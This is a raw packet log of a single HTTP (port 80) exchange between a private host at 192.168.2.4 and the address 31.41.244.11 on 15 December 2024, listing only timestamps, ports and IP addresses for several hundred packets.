Dec 15, 2024 11:59:11.487188101 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.488066912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.488116026 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.488223076 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.488267899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.489114046 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.489160061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.489239931 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.489545107 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.490159035 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.490211964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.490292072 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.490331888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.491221905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.491270065 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.491354942 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.491400003 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.492269993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.492317915 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.492358923 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.492405891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.493346930 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.493391037 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.493455887 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.493494987 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.494407892 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.494450092 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.494534016 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.494574070 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.495393038 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.495434999 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.495510101 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.495556116 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.496488094 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.496530056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.496597052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.496643066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.497802019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.497848034 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.497855902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.497896910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.498565912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.498614073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.498678923 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.498727083 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.499608994 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.499654055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.499717951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.499761105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.500734091 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.500786066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.500787020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.500827074 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.501708031 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.501753092 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.501944065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.501982927 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.502814054 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.502861977 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.502897024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.502940893 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.503850937 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.503906965 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.503917933 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.503963947 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.504884958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.504940033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.505004883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.505049944 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.505964041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.506011963 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.506092072 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.506136894 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.506974936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.507077932 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.507119894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.507164955 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.508043051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.508095026 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.508173943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.508220911 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.509063005 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.509119034 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.509188890 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.509233952 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.510126114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.510174990 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.510181904 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.510225058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.511174917 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.511224031 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.511300087 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.511334896 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.512242079 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.512290001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.512300014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.512351036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.513251066 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.513298035 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.513370037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.513411999 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.514297009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.514338970 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.514396906 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.514435053 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.534218073 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.534265041 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.534310102 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.534341097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.534677029 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.534718990 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.534778118 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.534815073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.535759926 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.535799980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.535882950 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.535922050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.536834002 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.536875010 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.537018061 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.537058115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.537863970 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.537909985 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.537980080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.538018942 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.538966894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.539006948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.539146900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.539185047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.539936066 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.539973021 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.540046930 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.540086031 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.540990114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.541029930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.541093111 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.541131973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.542020082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.542061090 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.542186022 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.542223930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.543072939 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.543112993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.543165922 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.543205976 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.662630081 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.662707090 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.662794113 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.663096905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.663209915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.663232088 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.663252115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.664165974 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.664218903 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.664264917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.665205956 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.665564060 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.665570974 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.665608883 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.665719032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.666579008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.666625023 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.666683912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.667646885 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.667692900 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.667732954 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.668570042 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.668668032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.668802977 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.668843031 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.669768095 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.669869900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.669909954 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.670823097 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.670855045 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.670921087 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.671577930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.671868086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.671999931 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.672019005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.672029018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.672983885 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.673017979 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.673095942 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.673438072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.673959017 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.673989058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.674048901 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.674079895 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.674969912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.675112009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.675146103 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.675179958 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.676059961 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.676099062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.676191092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.676722050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.677140951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.677175045 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.677253008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.677289009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.678190947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.678226948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.678283930 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.678514004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.679214001 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.679282904 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.679301977 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.679385900 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.680301905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.680449009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.680473089 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.680484056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.681318045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.681502104 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.681550026 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.682390928 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.682504892 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.682538033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.683397055 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.683517933 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.683552027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.684449911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.684590101 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.684622049 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.685502052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.685692072 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.685728073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.686556101 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.686734915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.686770916 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.687580109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.687684059 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.687719107 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.688663006 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.688766003 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.688802958 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.689696074 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.689796925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.689835072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.690753937 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.690838099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.690876007 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.691800117 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.691857100 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.691891909 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.692888975 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.693011999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.693049908 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.694010019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.694053888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.694073915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.694825888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.694966078 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.695156097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.695166111 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.695548058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.695997000 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.696033001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.696290016 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.696957111 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.697108030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.697221994 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.697257996 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.698117971 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.698287964 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.698318005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.699177027 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.699342966 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.699378967 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.700228930 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.700262070 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.700356960 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.701153040 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.701433897 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.701545954 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.701555967 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.701579094 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.702395916 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.702476025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.702518940 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.703346968 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.703547001 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.703587055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.704392910 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.704461098 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.704497099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.705419064 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.705535889 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.705574036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.706490993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.706546068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.706589937 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.726527929 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.726577044 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.726583004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.726612091 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.726948023 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.727125883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.727164030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.728013039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.728066921 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.728208065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.728256941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.729099989 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.729162931 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.729201078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.730108976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.730146885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.730247021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.730743885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.731188059 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.731353045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.731388092 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.732239962 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.732276917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.732389927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.733139992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.733264923 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.733469009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.733505011 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.734334946 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.734466076 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.734503984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.735374928 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.735475063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.735517025 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.854715109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.854830027 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.854901075 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.855062008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.855156898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.855192900 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.856095076 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.856240988 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.856281042 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.857122898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.857144117 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.857181072 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.857919931 CET	80	49760	31.41.244.11	192.168.2.4
